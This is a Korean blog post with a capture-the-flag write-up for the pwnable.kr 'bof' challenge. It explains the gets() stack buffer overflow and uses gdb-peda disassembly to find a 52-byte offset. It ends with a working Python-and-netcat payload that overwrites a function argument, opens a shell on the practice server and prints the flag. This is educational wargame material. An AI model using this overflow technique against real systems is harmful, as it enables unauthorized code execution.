본문 바로가기

CTF_Write_UP/pwnable.kr

pwnable.kr : bof 풀이

 

시작

안녕하세요!!

이번에는 정말정말 유명한 bof 문제를 풀어보겠습니다!!

Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

먼저 wget을 이용해 bofbof.c를 받아야 해요.

root@goorm:/workspace/LCH_Server# wget http://pwnable.kr/bin/bof
--2019-04-12 06:28:54--  http://pwnable.kr/bin/bof
Resolving pwnable.kr (pwnable.kr)... 143.248.249.64
접속 pwnable.kr (pwnable.kr)|143.248.249.64|:80... 접속됨.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: https://pwnable.kr/bin/bof [following]
--2019-04-12 06:28:55--  https://pwnable.kr/bin/bof
접속 pwnable.kr (pwnable.kr)|143.248.249.64|:443... 접속됨.
HTTP request sent, awaiting response... 200 OK
Length: 7348 (7.2K)
Saving to: ‘bof’

100%[==================================================>] 7,348       --.-K/s   in 0s

2019-04-12 06:28:55 (48.1 MB/s) - ‘bof’ saved [7348/7348]

root@goorm:/workspace/LCH_Server# wget http://pwnable.kr/bin/bof.c
--2019-04-12 06:28:57--  http://pwnable.kr/bin/bof.c
Resolving pwnable.kr (pwnable.kr)... 143.248.249.64
접속 pwnable.kr (pwnable.kr)|143.248.249.64|:80... 접속됨.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: https://pwnable.kr/bin/bof.c [following]
--2019-04-12 06:28:57--  https://pwnable.kr/bin/bof.c
접속 pwnable.kr (pwnable.kr)|143.248.249.64|:443... 접속됨.
HTTP request sent, awaiting response... 200 OK
Length: 308 [text/x-csrc]
Saving to: ‘bof.c’

100%[==================================================>] 308         --.-K/s   in 0s

2019-04-12 06:28:57 (6.93 MB/s) - ‘bof.c’ saved [308/308]

시작해보죠!

Write UP

root@goorm:/workspace/LCH_Server# ./bof
overflow me :
aaa
Nah..

bof 파일을 실행시켰더니 overflow me : 와 함께 사용자의 입력을 기다리네요.

임의의 문자열을 넣고 돌려보니깐 Nah.. 가 출력되며 프로그램이 종료됩니다.

bof.c 파일을 한 번 볼까요??

root@goorm:/workspace/LCH_Server# cat bof.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
        char overflowme[32];
        printf("overflow me : ");
        gets(overflowme);       // smash me!
        if(key == 0xcafebabe){
                system("/bin/sh");
        }
        else{
                printf("Nah..\n");
        }
}
int main(int argc, char* argv[]){
        func(0xdeadbeef);
        return 0;
}

smash me! 라고 당당하게 써있네요..

gets() : \n이나 파일의 끝(EOF)을 만나기 전까지 문자열을 입력받습니다.

gets 함수는 입력을 받을 때 문자열의 길이를 검사하지 않습니다.

따라서 사용자가 원하는 만큼 문자열을 쓸 수 있죠..

이를 이용해 Buffer Overflow가 발생할 수 있습니다!


함수가 실행될 때, 아래 그림과 같은 Stack Frame을 만듭니다.

Stack Frame에 대해 간단하게 살펴보죠!!

  • 매개 변수 : 함수의 인자값으로 받은 내용들이 저장됩니다.

  • RETURN : 함수 호출 다음에 실행할 주소를 담고 있습니다.

  • SFP : 처음의 ebp주소를 저장합니다.

  • 지역 변수 : 함수 내에서 선언된 지역변수들이 저장됩니다.

Stack Frame에 대한 것은 다음에 자세히 설명하겠습니다!

이 정도만 알고 계신 후, 코드로 넘어가보죠.


앞서 말했듯이 gets는 문자열의 길이를 검사하지 않고 입력을 받습니다.

따라서 지역 변수를 위해 할당된 공간을 넘어 SFP, RETURN, 매개 변수의 영역을 침범할 수 있죠.

그렇다면 얼마나 많은 값을 입력해 줘야 데이터의 침범이 일어날까요?

gdb-peda로 직접 알아봅시다.

root@goorm:/workspace/LCH_Server# gdb bof
GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from bof...(no debugging symbols found)...done.
gdb-peda$

func 함수의 어셈블리어 코드를 볼까요?

gdb-peda$ disas func
Dump of assembler code for function func:
   0x0000062c <+0>:     push   ebp
   0x0000062d <+1>:     mov    ebp,esp
   0x0000062f <+3>:     sub    esp,0x48
   0x00000632 <+6>:     mov    eax,gs:0x14
   0x00000638 <+12>:    mov    DWORD PTR [ebp-0xc],eax
   0x0000063b <+15>:    xor    eax,eax
   0x0000063d <+17>:    mov    DWORD PTR [esp],0x78c
   0x00000644 <+24>:    call   0x645 <func+25>
   0x00000649 <+29>:    lea    eax,[ebp-0x2c]
   0x0000064c <+32>:    mov    DWORD PTR [esp],eax
   0x0000064f <+35>:    call   0x650 <func+36>
   0x00000654 <+40>:    cmp    DWORD PTR [ebp+0x8],0xcafebabe
   0x0000065b <+47>:    jne    0x66b <func+63>
   0x0000065d <+49>:    mov    DWORD PTR [esp],0x79b
   0x00000664 <+56>:    call   0x665 <func+57>
   0x00000669 <+61>:    jmp    0x677 <func+75>
   0x0000066b <+63>:    mov    DWORD PTR [esp],0x7a3
   0x00000672 <+70>:    call   0x673 <func+71>
   0x00000677 <+75>:    mov    eax,DWORD PTR [ebp-0xc]
   0x0000067a <+78>:    xor    eax,DWORD PTR gs:0x14
   0x00000681 <+85>:    je     0x688 <func+92>
   0x00000683 <+87>:    call   0x684 <func+88>
   0x00000688 <+92>:    leave
   0x00000689 <+93>:    ret
End of assembler dump.

key와 비교하는 cmp 부분을 보면 ebp+0x8 이라는 주소가 보이네요.

key값이 ebp+0x8에 저장되어 있다는 것을 확인할 수 있습니다.

gets함수의 인자값이 되는 <func+29> 부분을 보시면

ebp-0x2c에 입력값을 넣어주는 것(=overflow[])을 알 수 있습니다.

따라서, 지역변수인 overflow[]의 시작주소부터 매개변수인 key까지의 거리는 0x8 + 0x2C = 0x34, 52 bytes가 되겠네요!

확실하게 보기 위해 esp의 내용을 뜯어볼까요??

gets함수의 인자로 A를 32개 넣어보겠습니다.

overflow me :

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
gdb-peda$ x/28wx $esp
0xffd74b40:     0xffd74b5c      0x00000000      0x000000c2      0xf760b0e6
0xffd74b50:     0xffffffff      0xffd74b7e      0xf7581c34      0x41414141
0xffd74b60:     0x41414141      0x41414141      0x41414141      0x41414141
0xffd74b70:     0x41414141      0x41414141      0x41414141      0x66128a00
0xffd74b80:     0x566206b0      0x56620530      0xffd74ba8      0x5662069f
0xffd74b90:     0xdeadbeef      0xf7754000      0x566206b9      0xf771f000
0xffd74ba0:     0x566206b0      0x00000000      0x00000000      0xf758ead3

AASCII값인 410xFFD74B5C 부터 시작하네요.

overflow[]의 시작주소가 0xFFD74B5C라는 말입니다.

key 값인 0xDEADBEEF0xFFD74B90에 들어가있는 것이 보입니다.

두 변수 사이의 거리는 0xFFD74B90 - 0xFFD74B5C = 0x34, 52 bytes인 것을 직접 확인했습니다!!

A52 bytes만큼 넘겨주고, key 자리에 0xCAFEBABE를 넣어주면..

root@goorm:/workspace/LCH_Server# (python -c 'print "A" * 52 + "\xbe\xba\xfe\xca"'; cat) | nc pwnable.kr 9000
ls -l
total 62164
-r-xr-x--- 1 root bof      7348 Sep 12  2016 bof
-rw-r--r-- 1 root root      308 Oct 23  2016 bof.c
-r--r----- 1 root bof        32 Jun 11  2014 flag
-rw------- 1 root root 63627875 Apr 12 18:45 log
-rw-r--r-- 1 root root        0 Oct 23  2016 log2
-rwx------ 1 root root      760 Sep 10  2014 super.pl
cat flag
daddy, I just pwned a buFFer :)

Exploit !!

마무리

길었습니다.. gdb가 익숙하지 않아서 몇 시간동안 찾아보고 삽질한 것 같습니다ㅠㅠ

드디어 시스템 해킹의 시작이라고 말할 수 있는 bof를 직접 해봤네요..

이제 막 걸음마 뗀 느낌입니다!! 어려운데 그만큼 재밌네요 :D

다음 문제에서 뵙겠습니다!

 

'CTF_Write_UP > pwnable.kr' 카테고리의 다른 글

pwnable.kr : mistake 풀이  (0) 2019.04.16
pwnable.kr : passcode 풀이  (0) 2019.04.14
pwnable.kr : random 풀이  (0) 2019.04.13
pwnable.kr : col 풀이  (0) 2019.04.12
pwnable.kr : fd 풀이  (0) 2019.04.11